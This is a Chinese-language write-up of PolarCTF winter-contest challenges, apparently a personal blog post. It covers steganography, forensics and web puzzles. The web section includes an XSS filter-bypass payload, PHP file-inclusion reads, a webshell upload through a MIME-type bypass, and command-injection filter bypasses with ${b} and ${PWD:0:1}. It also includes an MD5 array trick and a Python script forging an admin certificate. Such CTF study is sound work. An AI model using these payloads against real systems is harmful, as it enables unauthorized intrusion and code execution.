前言
之前一直在polar靶场刷题,周六参加了这个冬季挑战赛,很多题就是写着写着突然就没思路了,只剩下无奈。还是自己太菜了。下面就看着官方视频复现吧。
MISC
这次misc真是无语了,除了流量分析写的人多,剩下的就没几个人写出来,服了
猛攻!
附件是一个图片一个压缩包,然后没想到是图片隐写术解密,这个考点之前只见过一次,这次吸取教训吧,这里使用在线图片添加/解密隐藏信息(隐写术)工具 - 站长辅助工具 - 脚本之家在线工具
在线解密得到隐藏信息

密码是6DFUP。
解压得到一个流量包,这个非常简单,直接看那个上传得流量包

flag{che_li_cheng_gong}
这一题主要是卡到了图片隐写!!!!!!
先有圣人后有天
这一题我就要吐槽一下官方了,在官方解答视频中他使用的附件名字是蓝瘦香菇的秘密啊.png,而在比赛平台中下载使用的附件名只有一个png,这就是官方的问题了,这波是被信息差了...
解题思路就是由附件名字中的秘密,想到oursecret,然后就要找密码。在图片属性中2022/11/12 21:29.这个很明显就是密码。
22021112,提取出一个图片,随波逐流分析图片,检测到宽高被修改,修复后得到下图

flag{megumikatoisfairyinthepainting}
Chinesecode航行国际
附件是一个压缩包,到这个提示我就看不懂了了,只知道密码长度是4或者5,出题人是个村里人,但是我不理解为啥密码是特殊符号,

爆破得到密码?@@!

解压得到一个exe,发现无法运行,放进010看一下

这明显就是一个压缩包,看文件结构还是一个docx文件,在压缩包中看文件

就需要把这个附件单独拿出来了,官方给的解释是如果把docx文件改为zip的话,不属于正常架构应该有的文件会消失,所以这个要先预存一下,感谢官方大大又学了一个知识点。
然后修改压缩包为docx文件。
文档常见的考点就是修改字体颜色还有隐藏文字,所以把文件->选项->隐藏文字这个选项打开,以后再遇到考察隐藏文字就可以直接看到了。

上面那个就是符号,下面就是隐藏文字,上面的符号是国际信号旗
一一对应得到PQWS2,那个隐藏文字在文档中无法直接复制的,在字体中关闭隐藏文字的属性就可以复制了
一共是3段
PQWS2
ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2
LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=,这一段末尾有=,这个在最后面
拼接还就是
PQWS2ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=
base32解码
|-- |||--- - ||-- --- ||||---- |---- ||----- -- |||----
这个摩斯密码解密出来不是flag。有题目名汉码国际,在随波逐流一键解码,汉码解码
flag{flagispwer}
凯撒5世的IDAT
这个一眼修宽高,修改后得到是信息IDAT块冗余数据,在010提取冗余的数据,其实这一题还是给它提示了,在010看十六进制数据

kqht{GED6F8GDE3JDM2HED6J3I}
凯撒5解密
flco{BZY6A8BYZ3EYH2CZY6E3D},应该还是附件问题,从比赛平台下载得附件没有把co变成ag这一提示,不过这个因该不影响
flag{BZY6A8BYZ3EYH2CZY6E3D}
文字魔法
附件首先先看这个魔法少女文字,这个之前见到过,

按照这个表一一的对应,得到dgopsuv,然后是一段音频,直接听没得到啥信息,然后就上工具,使用slienteye得到一张图片

图片内容就是全数字,然后爆破压缩包

解压得到一个压缩包还有一个音频,这个音频也没隐藏啥信息,在属性有个发布者:mofashaonv
这个是压缩包密码解压得到lz4文件,解压工具地址https://link.gitcode.com/i/d294b9afcb8ad84a01b2c2a5307b8e94?uuid_tt_dd=10_28699378410-1762942975426-641820&isLogin=1&from_id=142947593
然后得到一个压缩包,还需要密码这个密码就是dgopsuv,打开发现数据包很小,看了每个包都有数据,在第三个包中

base100解码最后两位
下面是16 32 58 可以想到base16 base32等,
然后把数据包的数据的最后两位依次按照上述顺序编码
7177MRTA====8oCaGc=D/0_iD
flag{7177MRTA====8oCaGc=D/0_iD}
藏在数字里的秘密
这一个加密文件使用vc挂载,根据提示是某个日期有关,尝试111111挂载后得到一个flag,但这个假的,平常遇见的加密容器就只有一个密码,但是这个是由两个,应该是hc 容器启用了**VeraCrypt 隐藏卷,**不同密码对应不同的加密头部与主密钥,分别解锁外层卷与隐藏卷,呈现两套独立文件系统。
这个日期就是文件修改的日期202511,就得到另一个加密卷的文件,有一个压缩包一个图片,一个文档一个程序,但是运行不了,一直显示

文档中修改字体颜色有很小的文字分别是SXRfaXNfYV9teX,然后看图片十六进制数据

在最后有N0ZXJpb3V,最后用ida打开exe,查看字符串

这三段拼一起,还是带等号的在最后面
SXRfaXNfYV9teXN0ZXJpb3VzX2NvZGU=,base64解码It_is_a_mysterious_code,解压得到一坐标,转图片。

flag{a9dc965fcc0447b}
Source of danger 1
在统计->端点中只有两个ip

尝试后是第二个flag{192.168.27.15}
Source of danger 2
http流随便追踪一个
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0
flag{Edge142.0.0.0}
Source of danger 3
直接在wireshark中导出文件中搜索这个图片,

flag{ChatGPT}
Source of danger 4
在tcp145号的ua中

Flag{2.32.5}
Source of danger 5
还是在最后一个包有个url
flag{http://192.168.27.15/source/ecshop/admin/privilege.php}
Virtual_currency 1
这个账号是huanglei,密码是19460214,比赛的时候怎么输密码都不对这题都没写,感觉被做局了😭
启动看目录有docker容器,这里我复现不出来,为啥我得到的ip跟官方的不一样

这里放一张图

交易的是Polar币
flag{Polar币}
Virtual_currency 2
这个在矿仔靶机中有隐藏的polarctf.exe,反编译后有个miner.pyc,再反编译,有黑客的地址

flag{9598f90b557fdf01558f9061c09195647f3ca9261264485319279e1da7a7ac48}
Virtual_currency 3
看docker日志

那个95开头的是黑客地址,那90开头的或者c3开头的经过尝试是
flag{9004ddca99ff4aa70ef6cd27d2f3b81103c25d33c1384549a4f3bb0fdc035ef4}
Virtual_currency 4
如上图,一共就三个ip,192.168.192.130,192.138.192.129,192.168.192.1。经过中转后最后应该就是客户地址
flag{192.168.192.129}
Virtual_currency 5

flag{polarCTF.exe}
web
来个弹窗2.0
这个就弄一个弹窗就行了,有waf但不多过滤了script,这里使用
<img src="1" οnerrοr=eval("alert('xss')")>

这是本萨姆
flag{0735987a1391de965a0717fc7c4f6a1a}
help
直接在源码里
<div class="flag-modal" id="flagModal">
<div class="modal-content">
<div class="modal-title">🎉 恭喜通关!找到零食啦!</div>
<div class="hamster" style="margin-bottom: 10px;">🐹:太感谢你啦!我终于吃到零食了~</div>
<div class="flag-text">ZmxhZ3t3b19haV9ndWFfeml9</div>
<button class="close-modal" onclick="closeModal()">关闭</button>
</div>
ZmxhZ3t3b19haV9ndWFfeml9,base64解码
flag{wo_ai_gua_zi}
cookie欺骗2.0
首先登入再抓包user=user1; auth=herf1。herf1是将user1进行rot13编码,将admin也rot13编码一下修改
User=admin,auth=nqzva
就得到flag
uii
首先看源码得到要输入的拿铁,然后代码审计,如果uii的值url解码后等于Yzz,输出flag,因此payload
?uii=%59%7A%7A
狗黑子的跳转
首先前端禁用is,把那个按钮改为不会动的。然后进入是一个文件上传,只允许上传图片,上传图片后发现访问不到文件,然后看url有ghzgouheizi.php尝试文件包含
?gou=php://filter/convert.base64-encode/resource=ghzgouheizi.php\
<?php
if (!isset($_GET['gou'])) {
header("Location: ?gou=ghzgouheizi.php");
exit;
}
$gou = $_GET['gou'];
if (strpos($gou, '../') !== false) {
die("不允许访问上级目录!");
}
$blockProtocols = ['php://input', 'data://', 'phar://'];
foreach ($blockProtocols as $proto) {
if (strpos($gou, $proto) === 0) {
die("禁止使用危险协议!");
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
die("只允许上传图片文件!");
}
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (empty($ext)) {
die("文件缺少扩展名!");
}
$originalName = $file['name'];
$base64Name = base64_encode($originalName);
$md5Name = md5($base64Name);
$filename = $md5Name . '.' . $ext;
$uploadDir = './uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$uploadPath = $uploadDir . $filename;
if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
echo "文件上传成功!";
} else {
die("文件上传失败!");
}
}
$currentFile = basename(__FILE__);
if ($gou !== $currentFile) {
$includePath = './' . $gou;
if (strpos($gou, 'php://filter') === 0) {
include($gou);
} elseif (is_file($includePath)) {
include($includePath);
} else {
die("包含的文件不存在或不是有效文件!");
}
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>狗黑子的小破站</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" accept="image/*">
<button type="submit">上传</button>
</form>
</body>
</html>
文件名先被base64编码然后md5加密,还是MIME 类型仅允许图片,那就抓包改类型就行了

这里上传2.php

蚁剑连接就行了

PolarShop
这个积分可以在前端修改,
修改后得到提示,下载附件得到购物清单但是这应该是个字典
扫目录有个admin.php,
提示有Squirtle这个账户,然后密码爆破得到是5qu1rtle
然后ai分析前端代码得按钮的 onclick 事件会触发一个 viewSecret() 函数。该函数通过 fetch 向服务器发送一个 POST 请求,请求参数为 action=view_secret。服务器会根据这个请求判断是否返回 flag。
抓包,改包user=Squirtle

aa
在源码有个i.php
<?php
highlight_file(__FILE__);
$rawX = 'NjU0Nw==';
$rawY = '123';
$rawZ = '17%2B8';
function decodeX($value) {
return intval(base64_decode($value));
}
function processY($value) {
$reversed = strrev($value);
$md5Result = md5($reversed);
return substr($md5Result, 0, 8);
}
function decodeZ($value) {
$decoded = urldecode($value);
return eval("return $decoded;");
}
$X = decodeX($rawX);
$Y = processY($rawY);
$Z = decodeZ($rawZ);
$flag = $X + $Y + $Z;
?>
x是先解码base64NjU0Nw==是6547
Y是123反转,然后md5加密取前8位caf1a3df
Z是url解码时17+8=25
flag{6547caf1a3df25}
金币大挑战
这里抓包看信息,金币加1是

重置是

当金币加到20就无法加金币,这里在20的时候抓包重置金币,把resrt改为add_coin,比赛的时候就直接在前端改元素,就进去了,然后有个压缩包,纯数字爆破密码是1170,得到Squirtle1170
然后接下来就是脑洞了,根据题目的杰尼龟的文件路径得到有uploads目录,然后就是根据网页信息得知网站有文件上传漏洞,而且还提到例如:留下以自己名字命名的文件或者账号,传入自己的标志性图案。 慢慢的,这些也成为了其难以更改的习惯......
那个这个就可能是上传的webshell文件名Squirtle,尝试访问/uploads/Squirtle.php发现确实有这个文件,蚁剑连接

不抽象的狗黑子
这里在看图片发现有?gou=1,然后就可以尝试爆破这个数字

发现321非常可疑

得到提示hint: 进入gouhuizi.php看看
tip: 有时候没有思路,可以试试题目
然后到页面是一个输入框,然后试试题目不抽象的狗黑子,发现不是本题的题目,就是题目这两个字,发现外带,这就考察rce执行不回显了,
使用 ls /|tee 1.txt

有个flag.php的文件内容是一段base64编码,内容并不是flag
find / -name "flag*" | tee 8.txt 列出所有与flag有关的文件

最后一个flag.php不是那就是第一个,
cat /ect/flag |tee 2.txt得到flag
polarflag
一个登入界面,然后扫目录有个flag.txt,
<?php
$original = "flag{polar_flag_in_here}";
$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
$new .= chr($code);
}
function replaceString($original, $new) {
$temp = str_replace("flag{", "the_", $original);
$temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
return $temp;
}
$result = replaceString($orginal, $ne1w);
echo "flag{polar_flag_in_here}";
?>
代码有点小错误ai直接修改就行了,修改后的运行结果
the_username_is_polar
用户名是polar,密码给字典了爆破
密码是6666,然后就是代码审计
<?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
session_destroy();
header('Location: index.php');
exit();
}
// 初始化会话变量
if(!isset($_SESSION['collision_passed'])) {
$_SESSION['collision_passed'] = false;
}
//想赢的人脸上是没有笑容的
if(isset($_POST['a']) && isset($_POST['b'])) {
if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo "MD5 不错不错 \n";
$_SESSION['collision_passed'] = true;
} else {
echo "MD5 你不行啊\n";
$_SESSION['collision_passed'] = false;
}
}
if(isset($_GET["polar"])){
if($_SESSION['collision_passed']) {
if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
echo "gun gun !";
} else {
echo "polar polar !";
system($_GET["polar"]);
}
} else {
echo "回去吧,这块不要了\n";
}
} else {
show_source(__FILE__);
echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>';
}
?>
第一个是md5校验,可以找md5值是0e开头的也可以是使用数组绕过,md5函数不能处理数组,还返回0,那就是0=0,
a[]=1&b[]=2
然后就可以rce了过滤了/;`'空格等等。
这里cat被过滤了使用${b}绕过
l${b}s=ls

flag不在当前目录,然后/被过滤了使用&&一层一层看

最后发现polarflag
?polar=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca{b}t%09polarf{b}lag
还有就是用${PWD:0:1}(截取PWD环境变量的第一个字符,就是/)代替,就不用一层一层找了
?polar=ca{b}t%09{PWD:0:1}polarf${b}lag
论坛
扫目录有forum.php,然后在源码中有个一个 script.js,

访问后发现ffff1@g.php,访问得到flag
证书
根据题目要求先注册,然后登入证书系统,登入后最下面有提示

聊天后发现没有啥信息,就扫目录有个flag.txt
查看后得到一堆字符串,用来跟客服聊条爆破,但是都是回显302

放包后发现这是一次性发过去了

不过在下面

w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO
然后就要生成具有管理员权限的证书
import json
import base64
import datetime
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
CUSTOM_BASE64_TABLE = "w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO"
STANDARD_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def custom_base64_encode(data):
if isinstance(data, str):
data = data.encode('utf-8')
standard_encoded = base64.b64encode(data).decode('ascii')
translation_table = str.maketrans(STANDARD_TABLE, CUSTOM_BASE64_TABLE)
return standard_encoded.translate(translation_table)
def generate_validation_tag(username, role):
validation_string = f"{username}|{role}"
return custom_base64_encode(validation_string)
def generate_key_pair():
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
).decode('utf-8')
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
return private_pem, public_pem
def create_admin_certificate():
username = "admin"
private_key, public_key = generate_key_pair()
cert_data = {
'username': username,
'email': 'admin@example.com',
'phone': '10000000000',
'role': 'admin',
'created_at': datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
'expires_at': (datetime.datetime.now() + datetime.timedelta(days=365)).strftime("%Y-%m-%d %H:%M:%S"),
'public_key': public_key,
'validation_tag': generate_validation_tag(username, 'admin')
}
cert_string = json.dumps(cert_data, ensure_ascii=False, separators=(',', ':'))
private_key_obj = serialization.load_pem_private_key(
private_key.encode('utf-8'),
password=None,
backend=default_backend()
)
signature = private_key_obj.sign(
cert_string.encode('utf-8'),
padding.PKCS1v15(),
hashes.SHA256()
)
forged_cert = {
'version': '2.1',
'data': cert_data,
'signature': base64.b64encode(signature).decode('utf-8'),
'algorithm': 'SHA256'
}
with open('admin_cert.cert', 'w', encoding='utf-8') as f:
json.dump(forged_cert, f, indent=2, ensure_ascii=False)
print("管理员证书已生成: admin_cert.cert")
if __name__ == "__main__":
create_admin_certificate()
然后登入成功.然后就是rce,flag在根目录,cat被过滤了同tac

完结撒花🎇🎇🎇,这冬季赛告一段落。总的来说还是收获满满,期待来年春季赛再创新高👍👍